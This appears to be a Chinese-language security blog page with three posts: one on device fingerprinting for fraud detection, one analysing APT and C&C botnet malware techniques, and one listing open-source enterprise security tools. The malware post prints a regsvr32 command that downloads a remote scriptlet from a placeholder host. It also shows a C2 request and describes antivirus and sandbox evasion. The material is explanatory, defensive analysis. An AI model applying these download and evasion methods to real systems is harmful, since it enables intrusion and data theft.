• 设备指纹与反诈欺

    作者: 徐祥智 /Tony

    这篇文章主要讨论设备指纹的采集方式与黑客可能会采与的手段,

    • 为什么要采集设备指纹?
    • 如何采集设备指纹?
    • 可以用来辨识设备的设备指纹有哪些特征?
    • 这些设备指纹可靠性如何?
    • 哪些设备指纹会让黑客仿冒有较高的难度?
    • 设备指纹与网络隐私?
    • 黑客用的设备有哪些特征?

    为什么要采集设备指纹?

    服务端要识别使用者是否合法用户,  基本的方式为密码认证或是双因子认证 (手机简讯码),

    但是, 如果可以再加上设备指纹的识别, 相当于多一道识别该用户与设备是否为合法用户, 帮助我们回答下列问题:

    • 该设备是否为使用者注册或是常用设备?
    • 该设备特征是否与之前已知诈骗相似?
    • 该设备每次使用服务时有哪些特征? (交易时间, 次数, 浏览服务, 地理位置等)
    • 相同的设备被不同使用者使用?
    • 相同的设备出现在两个距离遥远的 IP 位址?

    透过这些特征可以让我们知道, 是否有异常设备, 异常行为进而告警或是通知使用者

    有些前提:

    • 设备指纹的采集并非用来取代原有认证方式, 手机简讯码或是密码
    • 假设一般正常使用者不会常常或是刻意修改伪装设备资讯
    • 设备指纹有可能因为隐私保护法的关系无法取得

    黑客的攻擊手法

    • 密码暴力破解
    • 黑客猜測性的模擬幾種設備, 并且利用已经取得的外泄密码尝试攻击
    • 设备仿冒 + 会话劫持

    Am I Unique?

    要怎么识别我的浏览器是否独特呢?

    比知名的网站服务有:

    这些网站服务取得浏览器的特征来决定你的浏览器是否独特?

    AmIunique研究报告 https://hal.inria.fr/hal-01285470v2/document

    首先讨论准确率与误判率的问题

    • 场景1: 正常使用者升级浏览器, 这种情况会导致设备指纹的更新, 或是被误认为新的设备  ==> 通知使用者并且确认
    • 场景2: 黑客透过改变自我环境 (例如 http://fraudfox.net/) 伪造跟正常使用者相同的设备指纹 ==> 帐号被盗用

    笔者认为, 设备指纹采机的方式不完全是人体指纹的概念, 要求一定是独特而且全球唯一

    设备指纹主要为辅助判断是否有潜在诈欺风险

    上述场景1: 正常使用情况下设备指纹改变, 可以通知或是与使用者确认, 但是要注意的是太频繁的通知反而是困脑,

    场景2: 黑客仿冒设备指纹并且盗用帐号的情况, 这是比较严重也是我们要极力避免的问题

    帐号被盗用的场景细分为  “设备被仿冒”  +  “帐号被盗用”

    单纯的帐号被盗用可参考 “帐号盗用” 的思路侦测

    如何避免设备指纹被仿冒?

    设备指纹仿冒?

    要回答这问题, 要回到设备指纹的采集, 设备指纹特征采集多达 29种

    我们希望可以辨识出该设备, 同时又不希望因为使用者正常变更而导致常告警

    在说明设备指纹之前, 要厘清的是没有不可以仿冒的设备指纹, 只是哪些设备指纹是会比较难以仿冒?

    以下列举几种比较难以仿冒的设备指纹

    严格来说这不是设备指纹, 它是在户用端”各地方”产生 Cookie 的方式,  只要有一个地方 Cookie 被删除, 其他地方的Cookie还在的话还可以识别

    • IP Address

    IP Address 可以仿冒, 但是由于用户端与后端服务需要通讯沟通, 因此该仿冒的难度也会提高

    另外, 由 IP Address 可以查出该 ISP 与地域关系, 这些额外资讯有助于我们判别该 IP Address 是否异常

    • TCP TimeStampe

    TCP 封包可以仿冒传送, 但是也因为用户端与后端服务需要沟通, 該 TCP timeStamp仿冒难度提高

    • 使用者注册时为该设备定义昵称

    由于设备昵称仅在注册时传送, 储存于服务器端, 黑客即使模拟客户端也很难得知原始注册的设备昵称

    • TLS ClientHello

    设备指纹有可能因为个人隐私保护的关系, 使用者选择不传送,

    这种情况下, 可以透过 TLS clientHello 于网络连结时, 针对 TLS ClientHello 的封包内容加以解析判断

    相关的研究与开源工具参考: https://github.com/LeeBrotherston/tls-fingerprinting

    PS. Cisco 的加密封包病毒扫描技术也是利用类似原理, 分辨出用户端为一般浏览器还是 OpenSSL 的程序连接

    设备指纹的种类

    大致可以分为四大类

    • 浏览器相关指纹
    • 设备相关指纹
    • 插件相关指纹
    • 网络相关指纹

    浏览器相关

    这类主要透过浏览器 JavaScript的执行取得相关资讯, 但可能因为隐私保护法的关系无法取得

    开源方案例如: https://github.com/Valve/fingerprintjs2

    1. UserAgent
    2. Language
    3. Color Depth
    4. Screen Resolution
    5. Timezone
    6. Has session storage or not
    7. Has local storage or not
    8. Has indexed DB
    9. Has IE specific ‘AddBehavior’
    10. Has open DB
    11. CPU class
    12. Platform
    13. DoNotTrack or not
    14. …..

    另外可参考 Evercookies 的方式 https://github.com/samyk/evercookie

    EverCookies 的方式为在浏览器端许多细微的地方储存Cookie 透过这些储存的资讯来辨别用户端

    自動化機器填入帳號密碼有一個特徵, 就是密码栏位不是透过键盘输入

    因此可以监听 keydown, keypress等事件来得知该密码栏位是否为键盘输入, 当然这方式也有可能被 Selenium自动化输入破解

     

    设备相关指纹

    这类与硬件相关的指纹相对比较不会变动, 但是也会因为隐私保护法或是权限的关系无法取得

    • Mobile sensor
    • 透过JavaScript 监听WheelEvent可以知道是用者是否使用滑鼠滚轮,  这也是可以辨别机器操作还是人操作的其中一个因素 (但是卻不是絕對)
    • 对于萤幕滚动来说, 一般来说滑鼠滚轮操作的移动增量有固定性, 如果是 Pad移动的增量比较没有固定性
    • 透过WebGL API对于Video RAM 侦测
    • HTML5 AudioContext API 获取對於設備 Audio 处理方式

    浏览器插件

    主要指的是Java, Flash, and Silverlight等插件, 取得这类的资讯也会因为隐私保护无法取得

    网络相关

    这类的资讯相对来说比较不会受到隐私保护或是权限影响而无法取得, 缺点是由于网络环境变动, 部分资讯可能会随时间改变

    • IP Address, 取得IP地址之后可以进一步透过  WhoIS 查询Autonomous System (AS)相关的ISP厂商与地理位置
    • 由于IP address可能动态会改变, 因此必须额外WhoIS该ISP厂商与地理位置资讯辅助
    • 地理位置:取得方式可以透过javaScript navigator.geolocation, 但是会受到装置是否开启GPS而定, 因此比较好的方式还是透过 IP
    • TCP Stack: TCP封包過程中有些可以用來當作指紋, 例如 Window Size, MTU, 等
    • HTTP header, 或是每次建立 TLS Hello header
    • TLS Hello header 也可以看出用户端是浏览器访问还是利用程序 OpenSSL的访问
    • TCP timestamps: 这是一种比较有效可以避免被仿冒的方式, 主要透过 TCP timestamps 与服务器时间差来判别

     

    诈欺场景帐号被盗用

    帐号被盗用后, 会有哪些特征? (我们假设只有帐号被盗用, 而非手机被窃取或是电脑被入侵的情况下)

    透过设备指纹的采集, 当某帐号被盗用透过其他设备登入时候, 会有下列特征,

    • 新的作业系统
    • 新的手机型号
    • 新的 IP 位置地址
    • 寄送地址与原注册地址或是之前常用寄送地址差异
    • 新的地理位置
    • 新的 ISP 网络接入

    服务滥用的帐号

    当有服务被滥用, 洗单, 刷活动时, 会有下列特征 (不限于)

    • 交易的支付方式与信息与以往有所不同
    • Email Domain与 Email TLD异常, 或是为黑名单之一
    • 收件地址/IP地址/付费地址: 距离差距太大
    • 收件地址每次的邮递区号都不同
    • 使用相同浏览器(设备指纹) , 相同 IP, 但是不同帐号
    • 手机连号(相差 100 内)  或是  随机Email 使用者名称帐号  或是  使用者名称帐号为连号机器产生的相关交易
    • 相同 IP 或是来源接近 IP 利用同一促销代码产生大量交易
    • 该帐号浏览服务历史行为与帐号创建时间, 例如: 该帐号创建时间短, 而唯一交易为特定促销交易, 或是浏览服务只为促销活动

     

    黑客设备指纹特征

    根据設備指紋雲服務公司 simility 的研究, 黑客的设备指纹有下列特征:

    其中笔者认为 “Do Not Track”回传值为Null 最为可疑,

    1. 32-bit OS 执行在 64 处理器
    2. cookies 信息为空
    3. “Do Not Track” 值为 NULL
    4. 瀏覽器歷史訊息清空
    5. 多半为 Windows 用户端
    6. 没有安装许多的插件
    7. 不使用浏览器的隐私模式

    來源參考

     

    笔者建议

    由於設備指紋都需要在客戶端透過 JavaScript 或是手機端SDK取得設備相關數據

    无论什么方式都可以被黑客反解译得知该设备指纹的逻辑, “设备指纹”判断整体帐号交易风险异常因素之一但非绝对

    其他还需要商业逻辑的配合:

    • Email 注册帐户是否为机器生成, 是否有乱数或是连续号码相似, 透过机器产生的大量帐号
    • 手机号是否为诈骗号, 或是连续号 (<> 100 ) 内
    • 帐户是否为僵尸号, 超过六各月没有任何活动纪录
    • 是否已经绑定手机号码
    • 网络相关资讯 (IP, ISP 接入)
    • 地理位置资讯 , 付费地址, 登记地址  , IP 侦测所在地理位置差距很远
    • 同一设备登陆请求一分钟内超过三十次
    • 同一设备登陆的帐户数量超过两个
    • 短时间一分钟内易地距离超过500KM登陆行为
    • 设备登入与常用设备登入有所不同
    • 注册使用临时邮箱服务
    • 闲置时间交易 (凌晨 0000-0500)
    • 交易量与数额异常增加
    • 交易类型, 人均交易, 次均交易 , 当日限额 , 当日手机连号交易

    當上述現象發生時, 是否表示诈骗? 也不是, 但是至少可以让我们进一步告警或是请使用者进行手机简讯验证

    或是询问一个使用者之前使用上经验的问题, 例如之前支付方式都是使用微信, 支付宝

    另外, 透过申请人所提交的注册资讯的关连分析, 将这些资讯画成关连图, 也可以提供一些线索

    • 申请人 1,  申请人 2,  申请人 3….
    • 电话 1 ….电话 2…
    • 公司 1….
    • 设备指纹 ID

    透握这些关系的连结可以组成关系图, 有些异常的场景如下

    • 同一或是类似设备指纹但是却被许多电话注册使用
    • 同一申请人但是有超过五个以上设备.
    • 許多申請人共用同一電話
    • 許多電話同一申請人使用
    • 相同的公司但是不同申請人所填寫的公司電話卻不相同

     

    其他參考

     

     

     

     

    http://people.scs.carleton.ca/~paulv/papers/acsac2016-device-fingerprinting.pdf

     

  • 13個 APT C&C殭屍病毒主要運用的技術與防偵測技巧

    Image result for C&C virus

    這篇文章主要分析2017主要整理APT與C&C殭屍病毒真實個案中

    運用的一些技術與防偵測技巧, 包含下列議題:

    • PowerShell 已經慢慢成為病毒執行與下載的主要工具之一,
    • 許多開源PowerShell 範例可用來注入攻擊, 下載, 上傳秘密文件等
    • regsvr32.exe也被運用成為 downloader
    • 逃避偵測的方式透過 GoogleDrive, DNS tunnel, fileless downloader, PS混碼, Office文件, Registry Key儲存

    常見APT C&C病毒感染過程

    • 使用者收到郵件下載 office 文件並且開啟
    • Office 文件執行透過漏洞或是巨集執行 Script
    • 該Script 下載額外的病毒碼
    • 病毒碼執行搜尋其他電腦或是有利資訊
    • 病毒碼種植以便下次重開機得以執行
    • 命毒碼執行並且透過 DNS tunnel 與殭屍網路連線
     一個真實的案例如下:
     

    病毒技巧1. :  利用regsvr32.exe 下載 SCT  ( Windows Script Component )

    這個技巧主要是透過 WORD 中的巨集腳本執行下列指令

    指令: regsvr32.exe /u /s /i:http://<malware>/malware.sct

    這個指令利用 regsvr32.exe 下載遠端的 SCT


     

    病毒技巧2. : 利用 WScript 執行powerShell

    這個技巧主要運用 WSScript 來執行 PowerShell 腳本

     

    技巧3: 不需要powershell.exe執行權限也可以執行PowerSell

    由於 PowerShell 執行需要權限, 因此開源工具 PowerShdll提供 EXE 與DLL 模式,

    如此一來主要佈署該工具 PowerShdll 就可以執行 PS

    但是缺點是該工具的下載就很容易被防毒軟體偵測

    技巧4: 擷取Windows 密碼

    如何竊取電腦密碼呢? 參考這兩個開源程式範例

    技巧5: PowerSell 攻擊武器庫

     隨著 PowerShell 的廣泛使用, 開始有各式各樣的 PS 攻擊武器庫範例程式
    包含後門, 注入攻擊, 防毒逃逸, WORD後門執行, Downloader, 鍵盤側錄等等

    技巧6: PowerSell 混碼

    PowerShell 程式碼加以編碼後就更不容易被解讀分析或是被防毒偵測到
    如何將 PowerShell 程式碼”編碼” , 可以參考這個開源工具

    技巧7 : Office文件逃避程式碼偵測方式

    許多程式的執行都是透過 office 文件的巨集,  但是該程式碼很容易被防毒軟體分析
    因此黑客運用的小技巧
    1. 將程式碼包裝在 TextBox 的Form中
    2. 用密碼保護文件中的巨集程式macro,
    如此一來就難以用常用的 OLETools分析工具分析 office 中的程式碼
    結合上述綜合技巧, 一個完美的攻擊就誕生了,
    一個結合 WORD 文件執行 regsvr 下載額外的 PS 腳本, PowerShell 繼續執行其他惡意行為
    參考下圖

    技巧8 : 利用GoogleDrive or DropBox來儲存偷走資訊

    由於 HTTP訪問這些雲儲存網站不容易被防火牆或是威脅分析警示

    因此黑客運用這些雲儲存網站儲存病毒設定檔, 或是將竊取的資訊往上傳至這些網站

     

    技巧9: 隨機或是加密過的 HTTP 參數

    受感染的電腦如何與遠端殭屍電腦溝通呢?

    舉例來說: 透過 HTTP 加密過的參數或是 cookie 進行溝通

    GET /X4iBJjp/MtD1xyoJMQ.htm HTTP/1.1
    Cookie: uHa5=kXFGd3JqQHMfnMbi9mFZAJHCGja0ZLs%3D;KQ=yt%2Fe(omitted)
    Accept: */*
    Accept-Encoding: gzip, deflate
    User-Agent: [user agent]
    Host: [host name]
    Connection: Keep-Alive
    Cache-Control: no-cache

     技巧9 : 反病毒偵測檢查

    病毒為了逃避防毒軟體的偵測, 會在下列情況下不執行或是再下載後延遲600秒後執行
    • 檢查 Debugger 是否存在
    • 檢查是否執行在虛擬機環境, 避免被沙箱環境偵測
    • 檢查 ProcessExplorer是否執行
    • 檢查WireShark 工具是否正在執行, 避免網路溝通封包被截取

    技巧 10 : 利用  free web hosting sites

    越來越多的病毒透過 Web Hosting 服務來執行病毒
    由於這些 Web hosting 服務註冊比較容易, 管理稽核也比較鬆散,
    因此黑客用來架設殭屍病毒主機
    可透過 whoIS 或是 PassiveTotal 的方式觀察該 Web註冊歷史紀錄是否經常變換

    技巧11 Reflective DLL Injection

    參考
    https://github.com/stephenfewer/ReflectiveDLLInjection
    https://attack.mitre.org/wiki/Technique/T1055#Detection
     https://www.aldeid.com/wiki/Category:Digital-Forensics/Rootkits/User-mode-Rootkits
    http://blog.opensecurityresearch.com/2013/01/windows-dll-injection-basics.html

    技巧12: 不留檔案的 Downloader

    下列這張圖說明當受害者收到郵件打開文件之後, 接下來該病毒如何與遠端電腦下載並且溝通

    透過下列技巧盡量不在受害者電腦留下檔案, 以避免防毒偵測

    • 方法一: 將PowerShell code 儲存在 registry key 中
    • 方法二: 透過 regsvr32 下載COM scriptlet
    • 方法三:透過 JavaScript 下載Cobalt Strike Beacon
    Office 文件中定義巨集, 該巨集為透過 regsvr32.exe 下載惡意程式碼 (f0921-6.sct) 範例
    透過 WSCript 執行 PowerShell 惡意程式碼範例

    真實個案如下圖:

    參考
    Cobalt Strike, PowerSploit and Nishang.

     技巧13  DNS Tunneling

    透過 DNS Protocol 傳輸殭屍網路的指令, 並且將病毒DNS指向 Google and OpenDNS DNS servers

    將指令傳輸隱藏在該傳輸中

     

    DNS tunel 有哪些工具技術可以利用?

    Image result for DNS Tunneling

    由於 DNS Query 為 google or openDNS因此無法單存藉由DNS 訪問目的地偵測

    這類的DNS Tunnel攻擊方式必須額外靠智能分析的方式, 例如

    • 每次DNS 查詢是否超過 64字元, 殭屍網路的DNS 查詢相對會比較大
    • DNS TXT 數量
    • DNS訪問中, 對於特定來源的訪問題, 這必須靠 SIEM 將所有的DNS 訪問比對統計分析
    • DNSTrap 分析 LLD 也就是 DNS 訪問 Domain 的字元關係

    https://www.sans.org/reading-room/whitepapers/dns/detecting-dns-tunneling-34152

  • 誰說資安一定要花大錢? 企業安全必備的開源工具

    原圖來源: AlienVault

    這篇文章主要介紹幾種企業安全開源的工具與平台

    主要分為五大類, 資產偵測, 弱點偵測, 威脅偵測, 行為監控與威脅情報平台等

     

    Open Source Asset Discovery Tools

    這類的工具主要在於列舉與搜尋目前公司網路上相關的電腦資產設備

     

    如何辨識該電腦為Windows or Linux 特定版本or 印表機?

    參考: https://github.com/gamelinux/prads/tree/master/etc

     

    Threat Detection Tools

    這類的工具主要為 IDS/IPS 主機入侵檢測

     

    Behavioral Monitoring Tools

    這類的工具主要在於檢測系統的狀態

     

     

    Vulnerability Assessment Tools

    這類的工具主要在於檢測系統的漏洞, 其中以NMAP 與OpenVAS 最為著名

     

    Intelligence and Analytics Tools

    情報威脅感知平台, 或是常聽到的 SIEM為整合許多日誌資訊進行威脅分析

    開源的情報威脅感知平台有

    OSSIM http://www.alienvault.com/ossim

    Logstash http://logstash.net/

    其他更多開源方案, 另外可以參考這篇

    https://github.com/hslatman/awesome-threat-intelligence

     

    Intelligence Feeds & Threat Sharing Communities

    業界威脅情報來源與資料庫有很多,

    MDL http://www.malwaredomainlist.com

    ETO http://www.emergingthreats.net

    OTX http://www.alienvault.com/otx

    當發現有異常Domain的訪問時?

    可以利用網上一些業界開源工具得知該Domain是否為已知有害威脅

    舉例來說, “eovighu.com” 是否為已知威脅來源? 可用下列方式搜尋

    abuse.net 

    其他更多開源方案可以參考: